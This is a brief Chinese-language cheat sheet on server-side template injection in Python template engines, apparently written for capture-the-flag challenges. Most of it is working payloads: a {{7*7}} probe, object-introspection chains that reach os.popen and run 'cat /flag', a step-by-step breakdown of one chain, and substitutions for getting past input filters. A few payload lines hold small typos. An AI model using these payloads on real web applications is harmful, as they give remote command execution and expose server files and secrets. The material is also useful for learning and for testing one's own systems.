攻击者通过再模板中注入恶意代码,利用服务器的模板引擎和渲染机制,导致模板引擎在解析时执行了非预期的代码或者表达式,从而信息泄露、RCE等行为。

操作姿势

{{7*7}}测试是否存在

?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat /flag").read()}}

?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag

"" → 字符串对象
 ↓
.__class__ → 获取 str 类
 ↓
.__mro__[1] → 找到 object 类(_base_是str的父类,功能相同)
 ↓
.__subclasses__()[132] → 找到 subprocess.Popen 或类似类(目的是找object的子类,包含os模块)
 ↓
.__init__.__globals__['popen'] → 拿到 os.popen 函数
 ↓
("cat /flag").read() → 执行命令并读取结果

替换

"" > '' > ()

["pope"] > ['request.args.method'] &method=popen

("cat /flag') > (request.args.a) &a=tac /flag

//args > values >cookies

[132] > __getitem__(132)

__globals__ > attr('__globals__ ') > attr(request.args.a) &a=__globals__